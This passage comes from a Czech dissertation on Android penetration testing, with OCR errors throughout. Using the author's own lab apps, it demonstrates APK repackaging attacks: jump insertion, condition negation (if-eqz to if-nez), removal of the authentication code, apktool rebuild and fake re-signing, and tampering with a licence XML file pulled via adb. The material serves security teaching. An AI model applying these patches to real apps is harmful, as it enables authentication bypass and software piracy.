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Z obrazku 4.56 vyplyva, ze se bude utok skladat ze dvou skoktl, jenz jsou
ocCislovany pomoci fimskych ¢islic. Prvni sméfuje z €asti oznacené Cislem 0 do
¢asti 2. Druhy skok mifi z ¢asti 2 do posledni useku programu, kterym je ¢ast 4.
Nyni, kdyZ je jasné, jakym zpisobem bude utok proveden, je mozné ud¢lat
dekompilaci druhého typu a najit vhodna mista pro realizaci skoki I. a II. Soubor
MainActivity.smali obsahujici metodu multiJump zapsanou v jazyce smali se
nachazi v adresari
RE2Multi-Jump/smali/cz/utb/fai/reverseengineering2multijump.

Ukazka ¢islo 1 ptedstavuje ¢ast metody multiJump v jazyce smali:

.method private multiJump()V

locals 3

.prologue
const/4 v2, 0x1

line 29
iget-object  v0, p0, Lcz/utb/fai/reverseengineering2multijump/MainActivity;-
>context:Landroid/content/Context;

const-string v1, "1/4 - This is INCONVENIENT part of code."

invoke-static {vO0, v, v2}, Landroid/widget/Toast;-
>makeText(Landroid/content/Context;Ljava/lang/CharSequence;l)Landroid/widget/Toast;

move-result-object v0

invoke-virtual {v0}, Landroid/widget/Toast;->show()V

line 31

iget-object  v0, p0, Lcz/utb/fai/reverseengineeringZmultijump/MainActivity;-
>context:Landroid/content/Context;

const-string v1, "2/4 - This is CONVENIENT part of code."

invoke-static {v0, v, v2}, Landroid/widget/Toast;-
>makeText(Landroid/content/Context;Ljava/lang/CharSequence;l)Landroid/widget/Toast;

move-result-object v0

invoke-virtual {v0}, Landroid/widget/Toast;->show()V
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Stejné jako v jazyce Java, je 1 vukdzce zapsané¢ v jazyce smali Cervené
oznaceno misto, kterému se chce UtoCnik vyhnout, a zelené tadky piedstavuyi
cennou funkcionalitu. Z analyzy vySe uvedené ukazky vyplyva, ze ptikaz goto je
vhodné umistit pted .line 29:

goto :navesti1

line 29
iget-object  v0, p0, Lcz/utb/fai/reverseengineering2multijump/MainActivity;-
>context:Landroid/content/Context;

Z ukazky kodu je rovnéz ziejmé, Ze by mélo byt odpovidajici naveésti umisténo
pted .line 31:

‘navestil

line 31
iget-object  v0, p0, Lcz/utb/fai/reverseengineeringZmultijump/MainActivity;-
>context:Landroid/content/Context;

Upravami kodu, které jsou vyse naznaéeny modrou barvou, bylo zajiiténo
vykonani skoku I. Nasleduje kod jazyka smali, ktery je potieba upravit, tak by se
vykonal 1 skok II.

Ukazka ¢islo 2 ptedstavuji ¢ast metody multiJump v jazyce smali:
line 33
iget-object  v0, p0, Lcz/utb/faireverseengineering2multijump/MainActivity;-
>context:Landroid/content/Context;
const-string v1, "3/4 - This is UNWANTED part of code."

invoke-static {vO0, v, v2}, Landroid/widget/Toast;-
>makeText(Landroid/content/Context;Ljava/lang/CharSequence;l)Landroid/widget/Toast;

move-result-object v0

invoke-virtual {v0}, Landroid/widget/Toast;->show()V

line 35

iget-object  v0, p0, Lcz/utb/fai/reverseengineeringZmultijump/MainActivity;-

>context:Landroid/content/Context;

const-string v1, "4/4 - This is WANTED part of code."
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invoke-static {v0, v, v2}, Landroid/widget/Toast;-
>makeText(Landroid/content/Context;Ljava/lang/CharSequence;l)Landroid/widget/Toast;

move-result-object v0
invoke-virtual {v0}, Landroid/widget/Toast;->show()V

line 36
return-void
.end method

Stejné jako v piedchozi ukazce je 1 v tomto uryvku kdédu podminkou vykonani
zelen€ oznaCenych fadkll reprezentujici cennou funkcionalitu ptfeskoceni
cervenych tadkua, jenz predstavuji ochrannou ¢ast kodu. Na zakladé vyse
uveden¢ho kodu byl ptikaz goto umistén pied .line 33 (Gprava je oznacena
modfe):

goto :navesti2

line 33
iget-object  v0, p0, Lcz/utb/fai/reverseengineeringZmultijump/MainActivity;-
>context:Landroid/content/Context;

Odpovidajici naveésti oznaceno modrou barvou a bylo umisténo pied .line 31:
‘navesti2

line 35
iget-object  v0, p0, Lcz/utb/fai/reverseengineeringZmultijump/MainActivity;-
>context:Landroid/content/Context;

V tuto chvili jsou dokonceny vSechny upravy zdrojového kddu, ktere zajisti
vykonani obou skokli. DalSim krokem je vytvofeni APK balicku ze souborii
uloZenych v adresafi RE2Multi-Jump: java -jar apktool.jar b RE2Multi-Jump -o
RE2Multi-JumpHACKED.apk. Posledni, co je nutné udélat, je faleSny podpis
modifikovaného APK balicku. Jakmile je APK bali¢ek podepsan, je mozné ho
nainstalovat do mobilniho zafizeni nebo emulatoru. Takto upraveny program
bude po kliknuti na tla¢itko ,,Multi-Jump Attack* zobrazovat dvé zpravy misto
puvodnich ¢tytech:

e 2/4 - This is CONVENIENT part of code.

e 4/4 - This is WANTED part of code.

Pokud nejsou logické celky, ve kterych je umisténa cennd funkcionalita
vykonavany linearné (tzn. ¢ast 1 = ¢ast2 = ... = ¢ast n) je potieba vytvorit dalsi
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skoky, jez vytadi odpovidajici ochranné ¢asti kédu. Vnitini struktura aplikace
muZe byt naptiklad naprogramovéna tak, ze provedeni cenné funkcionality 3
(vykonavani funkcionality se dostalo na konec) vede k aktivaci ochranné ¢asti 2,
jez po splnéni bezpeCnostnich podminek spusti cennou funkcionalitu 2.
V uvedeném piikladu musi uto¢nik na konec cenné funkcionality 3 vlozit ptikaz
goto a odpovidajici ndvesti zapsat na zacatek cenné funkcionality 2.

Negation Attack

Velké mnozZstvi bezpecnostnich mechanismii vyuziva ptikaz if jako soucast
vyhodnocovaciho procesu. Naptiklad: porovnej, zda je uzivatelské jméno a heslo
zadané uzivatelem shodné s piihlaSovacimi Gdaji uloZzenymi v databézi platicich
zékaznikl. Pokud se rovnaji, spust’ cennou funkcionalitu. Nejsou-li shodné, spust’
kod, jez je zpohledu uZivatele nezajimavy (typicky se jedna o zobrazeni
informace, Ze¢ zadané udaje nejsou platné a nasleduje nova vyzva k zadani
spravného hesla). Situace je zachycena na obrdzku 4.57 nahotfe. Schéma
bezpecnostniho mechanismu:

Boolean wasAuthenticationSuccessful = false;

// MECHANISMUS OVERENI, VYSLEDEK JE ULOZEN DO PROMENNE
wasAuthenticationSuccessful

if(wasAuthenticationSuccessful)

{
/I SPUST CENNOU FUNKCIONALITU

}

else

{
/I PRIHLASOVACI UDAJE NEJSOU PLATNE

/I SPUST NOVOU VYZVU K ZADANI PRIHLASOVACICH UDAJU
}
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Uspésné Neuspésné

Nezajimavy kéd (napf.
nova vyzva k zadani
platného hesla)

Uspésné Nelspéiné

Nezajimavy kdd (napf.
nova vyzva k zadani
platného hesla)

Obr. 4.57: Princip Negation Attack [zdroj viastni]

Utoky typu Negation Attack jsou zaloZené na negaci, ktera je vloZena do
piikazu if. Proces vyhodnoceni ma po upravé nasledujici pribéh: Porovnej, zda
je uzivatelské jméno a heslo zadané uZivatelem shodné s ptihlasovacimi tdaji
uloZzenymi v databazi platicich zdkaznikd. Pokud nejsou shodné, spust’ cennou
funkcionalitu. Jsou-li shodné, spust’ kéd s novou vyzvou k zadani spravného
hesla, viz obrazek 4.57 dole. Jinymi slovy chranéna Cast aplikace bude spusténa,
jen za podminky, Ze heslo nebude platné. Provedeni Gtoku je ukazano na aplikaci
BestMaps.apk, jejiz bezpe€nosti mechanismus je zachycen na obrazku 4.58.
K vyhodnocovani platnosti ptihlaSovacich tdaji nedochazi na lokalni Grovni.
Uzivatelské jméno a heslo je pfedano aplikacnimu serveru, ktery provede jejich
ovéfeni. Mobilni aplikace spousti chranénou cast aplikace na zékladé
bezpecnostniho rozhodnuti serveru. Provést utok na ovétovaci mechanismus typu
klient-server tradicnim zplsobem (tzn. bez metod APK Repackage, jakou je
naptiklad Negation Attack) by bylo velmi narocné. Protoze utok by zahrnoval
hledani chyb v komunika¢nim protokolu a v zabezpeceni samotného serveru.
Naproti tomu je provedeni Negation Attack snadné. Jediné, co musi Utocnik
ud¢lat, je ptidat do ptikazu if negaci logické proménné. Nejtézsi Cast utoku tak
pfedstavuje nalezeni kritického mista ve zdrojovém koédu, kam je mozné vlozit
negaci. Princip je naznaCen v niZe uvedené ukazce. Zelené oznaceny tadek
pfedstavuje zdjmové misto kodu. Pokud by bylo mozné provadét modifikace
aplika¢ni logiky APK balicku pfimo v jazyce Java, utok by zahrnoval pouhé
pfidani vykficniku (v ukdzce mé ervenou barvu):

Boolean wasAuthenticationSuccessful = false;

// MECHANISMUS OVERENI, VYSLEDEK JE ULOZEN DO PROMENNE
wasAuthenticationSuccessful
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if('wasAuthenticationSuccessful)

{
/I SPUST CENNOU FUNKCIONALITU

}

else
{
/I PRIHLASOVACI UDAJE NEJSOU PLATNE
/I SPUST NOVOU VYZVU K ZADANI PRIHLASOVACICH UDAJU

s PfihlaSovaci Gidaje jsou ovéfeny serverem
e Tedy mimo aplikaci!

Trida: ServerAuthentication

Metoda performAuthentication() // public

N
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Android Emulator - TestDevice:5554

Bylo ovéreni
Uspésné?

Opétovna vyzva k zadani pfihlaSovacich udaju

Je spusténa chranéna/placenad &ast aplikace

& s
N %
START TO USE BEST MAPS

Obr. 4.58: Bezpecnostni mechanismus aplikace BestMaps.apk [zdroj viastni]

Aby bylo mozné¢ ve zdrojovém kodu najit vhodné misto pro provedeni
Negation Attack, je nutné provést dekompilaci pomoci ndastroje dex2jar
(./dex2jar.sh BestMaps.apk) a vznikly soubor BestMaps-dex2jar.jar zanalyzovat.
Vysledky ptipravné analyzy naznacuji, Ze ve tfidé MainActivity.class se nachéazi
metoda checkCredentials onClick, ktera se spolu s aplika¢nim serverem staréa o
ovéfeni pfihlaSovacich Udaji zadanych wuZivatelem. Kritické misto kodu
napsan¢ho v jazyce Java je oznafeno Cerveng:

public void checkCredentials_onClick(View paramView)

{
if (new ServerAuthentication(this.loginEditText.getText().toString(),

this.passwordEditText.getText().toString()).performAuthentication().booleanValue())
{
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this.loginEditText.setText("");
this.passwordEditText.setText("");
startActivity(new Intent(this.context, BestMapsActivity.class));
return;
}
this.loginEditText.setText("™);
this.passwordEditText.setText("");
Toast.makeText(this.context, "Wrong Credentials", 1).show();

}

Nejprve je vytvofen objekt tfidy ServerAuthentication. V konstruktoru (viz
ukazka zdrojového koédu nize) jsou jako parametry predany uZzivatelské jméno
(this.loginEditText.getText().toString()) a heslo
(this.passwordEditText.getText()), které zadal uzivatel. Nad takto vytvofenym
objektem se zavold metoda performAuthentication(), ktera vraci logickou
hodnotu (public Boolean performAuthentication()). Vyhodnoti-li server
prostfednictvim tfidy ServerAuthentication ptihlaSovaci tdaje jako wvalidni
(metoda performAuthentication() vrati hodnotu ,true®), pak metoda
checkCredentials_onClick spusti chranénou ¢ast aplikace, kterd je reprezentovana
ttidou BestMapsActivity.class. V opaéném pfipadé je wuZivateli na displej
mobilniho zatizeni vypsana informace ,,Wrong Credentials®.

Ukazka konstruktoru tfidy ServerAuthentication.class:

public ServerAuthentication(String paramString1, String paramString2)
{

this.userLogin = paramString1;

this.userPassword = paramString2;

}

Z vyse uveden¢ho popisu vyplyva, Ze v jazyce smali bude Utocnik hledat
metodu checkCredentials onClick tfidy MainActivity.class. V této metodé se
bude snazit vypatrat podminku pracujici s metodou performAuthentication(),
ktera patii tfidé ServerAuthentication.class. DalSim krokem je rozbaleni APK
balicku a ziskadni kodt zapsanych v jazyce smali: java -jar apktool.jar d
BestMaps.apk.  Soubor = MainActivity.smali  se  nachdzi v adresafi
BestMaps/smali/cz/utb/fai/bestmaps_ptlab. V souboru MainActivity.smali je
vyhledano volani ->performAuthentication.

Ukazka ¢asti smali kodu metody checkCredentials_onClick:

invoke-virtual {v3}, Landroid/widget/EditText->getText()Landroid/text/Editable:
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move-result-object v3
invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v3

invoke-direct {v1, v2, v3}, Lcz/utb/fai/bestmaps_ptlab/ServerAuthentication;-
><init>(Ljava/lang/String;Ljaval/lang/String;)V

line 32
local v1, "serverAuthentication":Lcz/utb/failbestmaps_ptlab/ServerAuthentication;
invoke-virtual {v1}, Lcz/utb/failbestmaps_ptlab/ServerAuthentication;-

>performAuthentication()Ljava/lang/Boolean;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z

move-result v2

if-eqz v2, :cond_0

line 34

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>loginEditText:Landroid/widget/EditText;

const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

Z vyse uvedené ukazky vyplyva, ze vysledek ovéteni, které provede metoda
performAuthentication, je jako logicka hodnota (Z) ulozen do registru v2.
Hledana podminka je if-eqz v2, :cond_0 (v ukéazce je oznacena zelen¢). Vyraz if-
eqz v2, :cond 0 znamen4, Ze pokud je hodnota v registru v2 pravdiva, je vykonan
skok na navésti :cond 0. Negace podminky se provede pomoci ptikazu if-nez,
tzn., Ze pivodni podminka je nahrazena vyrazem:

if-nez v2, :cond_0
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Obsah modifikovaného souboru MainActivity.smali je uloZen. Je provedena
kompilace APK balicku ze zdroj v adresati BestMaps: java -jar apktool.jar b
BestMaps -0 BestMapsHACKED.apk. V poslednim kroku je nové vytvoteny
APK bali¢ek podepsan.

Po provedeni Negation Attack, aplikace BestMaps.apk funguje tak, Ze chranéna
cast programu je spuSténa kazdému uZzivateli, ktery zada neplatné uZivatelske
jméno a heslo, viz obrazek 4.59. Zatimco uZivateli, ktery ma spravné ptihlaSovaci
udaje, je pouze vypsana informace o jejich neplatnosti.

Android Emulator - m6:5554
] Y 2:07

Android Emulator - m6:5554
= ® ‘4 2:07
PT LAB D S0 i

grgegewfefefw Zadani neplatného
uzivatelského jména a hesla

LOGIN

gwertyuioop

asdf ghj kI

4 zxcvbnm@

START TO USE BEST MAPS

Obr. 4.59: Fungovani aplikace BestMaps.apk po provedeni Negation Attack [zdroj
viastni]

V ukézce Utoku byla za pouziti Negation Attack pfekonana autentizace, ktera
se provadéla mimo aplikaci, tzn. pomoci vzdalen¢ho serveru. Z vySe uvedené¢ho
popisu je zifejmé, ze ackoliv provedeni utoku typu Negation Attack je relativné
snadné, jednd se o velmi nebezpecny utok, ktery miize napachat velké Skody a
zmafit tak znacné investice. Negation Attack je jeden z diivodi, pro¢ by mobilni
aplikace nemély pouZivat single factor authentication v situacich, které jsou
z bezpecnostniho hlediska kritické.

Removal Attack

Removal Attack je nejslozit&jsi ze vSech vySe uvedenych APK repackage
technik, proto se pouZiva v situacich, ve kterych nelze pouZit jiné metody. Utok
je zaloZen na skuteCnosti, Ze v nckterych ptipadech jsou bezpecnostni
mechanismy natolik robustni, Ze je jednodussi je odebrat jako celek, nez se snazit
o jejich modifikaci. Removal Attack tedy spociva v odstranéni problematickych
casti kodu, které se staraji o zabezpeceni aplikace. Schéma Removal Attack je
zobrazeno na obrazku 4.60. JelikoZ se jedna o naro¢ny typ utoku, je pted jeho
realizaci vhodné provést rozsahlejsi analyzu, nez tomu bylo v pifipadé
pfedchozich utokd. Jako prvni by méla byt dand aplikace nainstalovana na
nemodifikované mobilni zafizeni a dynamicky zkouméana. Utoénik sleduje
chovani aplikace za béZnych podminek, kdy aplikace béZi na zatizeni s normalni
urovni zabezpeceni. V druhém kroku by mélo probéhnout dynamické zkoumani
aplikace na zafizeni/emulatoru s opravnénimi super uZzivatele (root). Zde je
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vyhodné sledovat vSechny I/O operace, nebot’ mohou poskytnout voditka pro
naslednou analyzu Java kodi. VSechny vySe uvedené postupy by mély zajistit
dostatené mnozstvi informaci, aby bylo moZzné proveést usp&Sné odstranéni
bezpe&nostnich mechanizmti ze smali kodd. Casto nastava situace, Ze samotné
odstranéni smali kodl nedava dobré vysledky. V takovych ptipadech musi
uto¢nik napsat malou ¢ast kodu, kterd zajisti spravné spojeni ¢asti kodu, mezi
nimiz byla umisténa ochrana. Na obrazku 4.60 jsou uvedené¢ Casti oznaceny jako
,,Zacatek a ,,Cenna funkcionalita®. Pi1 mazani smali kodd musi uto¢nik rovnéz
vénovat zvySenou pozornost obsahu registril, které maze. Pokud, by byl naptiklad
odstranén obsah registru v3 a v dalsi ¢asti aplikace, ktera nebyla odstranéna by se
s obsahem registru v3 pocitalo (byl by to jeden z parametrii pti volani né&jaké
metody), pak by Removal Attack misto kyZeného vysledku zptisoboval pouze pad
modifikované aplikace. Pokud jsou registry z odstraiované Casti pouzivany i
cennou funkcionalitou, nesmi byt vymazany, proto jsou pouze premistény do
odpovidajici ¢asti cenné funkcionality. Pokud tto¢nik ve své spojovaci ¢asti kodu
piepisuje obsahy nékterych registrii, musi v ¢asti, kterd bezprostiedné navazuje
za jeho kddem, obsahy téchto registrii uvést do ptivodniho stavu.

Ochranna c¢ast kddu I

Lo | Lo |

Spousti

Obr. 4.60: Schéma Removal Attack [zdroj viastni]

Pro praktickou ukazku Removal Attack je opét pouzita aplikace BestMaps.apk,
jejiz bezpecnostni mechanismus je zachycen na obrazku 4.58. V oddile Negation
Attack bylo popsano, Ze metoda checkCredentials onClick se spolu s aplika¢nim
serverem stard o ovéfeni piihlaSovacich tdaji zadanych uzivatelem (metoda se
nachazi ve tfidé MainActivity.class). Vychozi zdrojovy kod je stejny, ale technika
jeho prolomeni je jina. Cervend jsou oznadeny viechny fadky, které musi byt
odstranény.

Ukazka zdrojového kodu, metoda checkCredentials onClick tfidy
MainActivity.class:

public void checkCredentials_onClick(View paramView)

{
if (new ServerAuthentication(this.loginEditText.getText().toString(),

this.passwordEditText.getText().toString()).performAuthentication().booleanValue())

{
this.loginEditText.setText(");

this.passwordEditText.setText("");
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startActivity(new Intent(this.context, BestMapsActivity.class));
return;

)
this.loginEditText.setText("™);

this.passwordEditText.setText("");
Toast.makeText(this.context, "Wrong Credentials", 1).show();

}

Dekompilace typu jedna 1 dva, opcétovné sestaveni APK balicku
z kompila¢niho adresafe a faleSné podepsani upraveného APK balicku je stejné,
jako postup popsany v oddilu Negation Attack. V souboru MainActivity.smali
nachazejici se v adresari
BestMaps/smali/cz/utb/fai/bestmaps_ptlab
je vyhledana metoda checkCredentials onClick. Nasledné¢ jsou zkodu
odstranény vSechny fadky, které se staraji o ochranu dané aplikace. Pro vétsi
nazornost je nejprve uveden cely smali kod metody checkCredentials onClick
plvodni aplikace a nasledné je uveden cely upraveny smali kéd metody, na které
byl proveden Removal Attack.
Pivodni smali kéd metody checkCredentials onClick:
# virtual methods
.method public checkCredentials_onClick(Landroid/view/View;)V
locals 5
param p1, "v" # Landroid/view/View;

.prologue
line 30
new-instance v1, Lcz/utb/failbestmaps_ptlab/ServerAuthentication;

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>loginEditText:Landroid/widget/EditText;

invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
move-result-object v2

invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v2

iget-object V3, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>passwordEditText:Landroid/widget/EditText;

invoke-virtual {v3}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
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move-result-object v3
invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object v3

invoke-direct {v1, v2, v3}, Lcz/utb/fai/bestmaps_ptlab/ServerAuthentication;-
><init>(Ljava/lang/String;Ljaval/lang/String;)V

line 32
local v1, "serverAuthentication":Lcz/utb/failbestmaps_ptlab/ServerAuthentication;
invoke-virtual {v1}, Lcz/utb/failbestmaps_ptlab/ServerAuthentication;-

>performAuthentication()Ljava/lang/Boolean;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z

move-result v2

if-eqz v2, :cond_0

line 34

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>loginEditText:Landroid/widget/EditText;

const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

line 35

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-

>passwordEditText:Landroid/widget/EditText;
const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

line 37
new-instance v0, Landroid/content/Intent;
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iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>context:Landroid/content/Context;

const-class v3, Lcz/utb/failbestmaps_ptlab/BestMapsActivity;

invoke-direct {v0, V2, v3}, Landroid/content/Intent;-
><init>(Landroid/content/Context;Ljava/lang/Class;)V

line 38

Jocal v0, "intent":Landroid/content/Intent;

invoke-virtual {p0, v0}, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>startActivity(Landroid/content/Intent;)V

line 46

.end local vO # "intent":Landroid/content/Intent;

:goto_0

return-void

line 42

:cond_0

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-

>loginEditText:Landroid/widget/EditText;

const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

line 43

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-

>passwordEditText:Landroid/widget/EditText;

const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

line 44

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-

>context:Landroid/content/Context;

const-string v3, "Wrong Credentials"
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const/4 v4, 0x1

invoke-static {v2, v3, v4}, Landroid/widget/Toast;-
>makeText(Landroid/content/Context;Ljava/lang/CharSequence;l)Landroid/widget/Toast;

move-result-object v2
invoke-virtual {v2}, Landroid/widget/Toast;->show()V

goto :goto_0
.end method

Upraveny smali koéd metody checkCredentials onClick na které byl proveden
Removal Attack:
# virtual methods
.method public checkCredentials_onClick(Landroid/view/View;)V
locals 5
.param p1,"v" # Landroid/view/View;

.prologue

line 37
new-instance v0, Landroid/content/Intent;

iget-object V2, p0, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>context:Landroid/content/Context;

const-class v3, Lcz/utb/fai/bestmaps_ptlab/BestMapsActivity;

invoke-direct {v0, V2, v3}, Landroid/content/Intent;-
><init>(Landroid/content/Context;Ljava/lang/Class;)V

line 38
Jocal v0, "intent":Landroid/content/Intent;
invoke-virtual {p0, v0}, Lcz/utb/failbestmaps_ptlab/MainActivity;-
>startActivity(Landroid/content/Intent;)V
line 46
.end local vO # "intent":Landroid/content/Intent;
return-void
.end method
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Jakmile bude provedena vySe naznaCena Uprava v jazyce smali, bude cely
proces ovérovani vyfazen. Modifikovanid aplikace bude fungovat vSem
uzivatelim bez jakéhokoliv omezeni. Po kliknuti na tla¢itko ,,LOGIN* bude
spusténa chranéna ¢ast mobilni aplikace, aniz by se starala o tidaje, které uzivatel
zadal do textovych poli.

Kromé APK Repackage existuje fada dalSich metod, jak vytadit softwarovou
spousténi chranénych ¢asti mobilnich aplikaci nebo vytvoreni malwaru plniciho
roli spoustéCe (oboji je popsano na ptisluSnych mistech dizertacni prace).

4.6.3 Utoky na lokalni zabezpeceni mobilnich aplikaci

Castym cilem ttokd na lokalni zabezpedeni mobilnich aplikaci jsou programy
poskytujici zadkladni funkcionalitu zdarma, zatimco pokrocilé funkce jsou
zpoplatnény. Utoénici se snazi modifikovat zabezpeteni takovym zptisobem,
ktery umozni:

e ziskat cenna data,

e zdarma pouzivat zpoplatnénou funkcionalitu,

e pfistup k citlivym osobnim udajim,

e odstranit uzivatelské nepohodli plynouci z pouzivani bezplatné verze, jako
je napftiklad prodlouzeny start aplikace (tj. uméle vytvotena prodleva mezi
startem a moZnosti program zacit pouZzivat), odstranéni reklamnich bannerti
apod.

Licencni soubor, ktery je lidsky Citelny

Ukladani jakychkoliv citlivych souborli do externi paméti piedstavuje hrubou
bezpecnostni chybu, nicméné 1 prace s interni paméti piinasi urcita bezpecnostni
rizika. Vyvojari Casto predpokladaji, Ze privatni datové prostory jsou soukromé,
a tedy dostupné jen aplikaci, které tento prostor patii. Tato domnénka je spravna
jen v piipadé, Ze mobilni zafizeni pracuji s normalni Urovni opravnéni.
Provedenim tzv. rootu/rootingu mobilnich zafizeni je poruSen Sandboxing
aplikaci. Uto¢nik pak muZe sledovat obsah privatniho prostoru aplikace, na kterou
itoéi. V oddile Utoky na zabezpe&ovaci mechanismy bylo pfedstaveno odcizeni
piithlaSovacich udajl, které byly ukladany v privatnim datovém prostoru mobilni
aplikace.

Kromé uzivatelského jména a hesla miize byt interni pamét’ pouzita i k jinym
uceliim, naptiklad k licencovani n&jaké aplikace.

Bezpecnostni chyba, kterou predstavuje lidsky Citelny licen¢ni soubor, je nize
popsana na aplikaci BestCloud-PTLab.apk, kterou napsal autor pro demonstra¢ni
ucely. Aplikace vychazi ze skute¢né komeréni aplikace, jeZ pouzivala uvedeny
systém licencovani. Program poskytuje Cast své funkcionality zdarma a ¢ast je
zpoplatnéna. Po dokonceni procesu ovétovani platicitho uZivatele je samotna
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licence uloZena do XML souboru, ktery se nachazi v privatnim datovém prostoru
dané¢ aplikace. Pti poskytovani funkcionality se aplikace tidi obsahem licen¢niho
souboru. Pokud se jedna o nelicencovanou verzi programu, pak je spusténa pouze
zéakladni funkcionalita. Pfi pokusu o spuSténi pokrocilé funkcionality je uzivateli
pouze zobrazena zprava, ze uvedena funkce neni dostupna v neplacené verzi, a
odkaz, kde lze ziskat plnou verzi programu. Uvedena situace je zachycena na
obrazku 4.61.

Android Emulator - m:5554

‘il 10:38

This feature is not available in
trial version. You can buy full

version of the software on
https:/www.somepage.com.

OK

Obr. 4.61: Nelicencovand verze programu BestCloud-PTLab.apk [zdroj
viastni]

Jak je vidét na obrazku 4.62, licencovany program spusti zakladni 1 placenou

funkcionalitu dané aplikace. Uvedeného stavu by chtél dosahnout i1 uto¢nik,
ovSem bez toho, aby za pouzivani aplikace zaplatil.
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) Android Emulator - m:5554
il ea 10:45

Directory name: block

Permissions: drwxr-—-r-—-
Owner: system:system
Size: 15.1 MB

Date: 8/24/2016

Obr. 4.62: Licencovand verze programu BestCloud-PTLab.apk [zdroj viastni]

Demonstrovany bezpec¢nostni problém byl zjiStén na zéklad¢ dynamické
analyzy. Jak bylo popsano v oddilu 4.3 Ruéni dynamickéd analyza, jednim ze
zékladnich prostfedkli tohoto typu analyz je vySetfovani dané aplikace
v diskrétnim Case (tzn. od jedné udalosti k dal§i udalosti). Pficemz
uto¢nik/penetracni tester sleduje, jakym zplisobem aplikace méni stav systému.
Jednim z dilezitych aspekti, ktery je nutné sledovat, jsou zmény, které provadi
testovany program v interni 1 v externi paméti mobilniho zafizeni/emulatoru.

Prvnim krokem utoku je instalace aplikace BestCloud-PTLab.apk do
mobilniho zafizeni/emulatoru béZiciho s opravnénim super uzZivatele: adb install
BestCloud-PTLab.apk. Aplikace nesmi byt zatim spusténa. V dalSim kroku je
spustén Android Device Monitor, v zaloZce File Explorer je zobrazen privatni
datovy prostor aplikace BestCloud-PTLab.apk. Soukromy prostor se nachdzi
v adresafi /data/data/cz.utb.fai.bestcloud ptlab. Z obrazku 4.63 je patrné, Ze
privatni datovy prostor programu BestCloud-PTLab.apk neobsahuje zadné
soubory ¢i adresate, které¢ by mohly byt pro Gto¢nika zajimavé.

%, Threads | @ Heap | @ Allocation Tra... | Network Stati... File Explorer &2 |@ Emulator Cd
Name Size Date Time Permissions
C e CUIILYUUYIC. U UL S LUTU 11 VU 1U.ZU UTWAL A A
» (= com.google.android.syncadapters.contacts 2016-11-08 10:26 drwxr-x—x
> (= com.svox.pico 2016-11-08 11:21 drwxr-x—x
%= cz.utb.fai.bestcloud ptlab 2017-02-04 11:42 drwxr-x-x
& lib 2017-02-04 11:42 lrwXrwxrwx

Obr. 4.63: Privatni datovy prostor programu BestCloud-PTLab.apk zobrazeny pomoci
Android Device Monitoru [zdroj viastni]

Jakmile uto¢nik znd vychozi stav privatniho datového prostoru vySetfované
aplikace, je provedeno jeji spusténi. Android Device Monitor ptfedstavuje pro
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uto¢niky velmi cenny ndstroj, nebot’ umoziuje sledovat v redlném case zmény,
které provadi zajmova aplikace v souborovém systému. Na obrazku 4.64 je vidét,
ze aplikace po svém prvnim spusténi vytvorila adresat shared prefs a v ném
soubor license.xml.

% Threads | @ Heap | @ Allocation Tra... | = Network Stati... File Explorer & '@ Emulator Cd
Name Size Date Time Permissions
> (= cOm.SVOX.Dico 2016-11-08 11:21 drwxr-x-x

= : | | l l
» & cache 2017-02-04 11:46 drwxrwx-x
& lib 2017-02-04 11:42 lrwxrwxrwx
¥ & shared_prefs 2017-02-04 11:46 drwxrwx-x
license.xml 211 2017-02-04 11:46 -rw-rw—
» (= cz.utb.fai.bestmaps6_ptlab 2017-02-04 11:30 drwxr-x—x

Obr. 4.64: Zmény v privatnim datovém prostoru aplikace BestCloud-
PTLab.apk [zdroj viastni]

Soubor license.xml, ktery by mohl obsahovat zneuZiteln¢ informace, je
utocnikem premistén z mobilniho zatfizeni/emulatoru do pocitace. Uvedeny kon
1ze provést piimo v nastroji Android Device Monitor. V zaloZce File Explorer je
kliknuto na soubor license.xml, ktery je na obrazku 4.65 oznacen modie, nasledné
je kliknuto na tlacitko ,,Pull a file from the device®. Alternativné 1ze vySetfovany
soubor stdhnout pomoci ptikazu:

adb pull /data/data/cz.utb.fai.bestcloud_ptlab/shared_prefs/license.xml

Diilezity obsah souboru license.xml je na obrazku 4.65 oznacen zelené. Ukéazka
odhaluje nebezpecnost lidsky citelnych souborii nesoucich informace, které jsou
z bezpecnostniho hlediska kritické. Situaci navic zhorSuji samo vysvétlujici ndzvy
XML elementu (viz parametry name):

e <boolean name="full_version" value="false" />,
e <boolean name="trial" value="true" />.

Jsou-li XML elementy pojmenovany vySe uvedenym zplsobem, nemusi
utoénik provadét analyzu jejich funkce prostfednictvim statickych metod.
Utoénik se pravdépodobnd pokusi provést utok nejjednodussim moznym
zpusobem, tzn. negaci pravdivostnich hodnost XML elementli. Negace je na
obrazku 4.65 oznaCena Cervené. Puvodni soubor license.xml je z privatniho
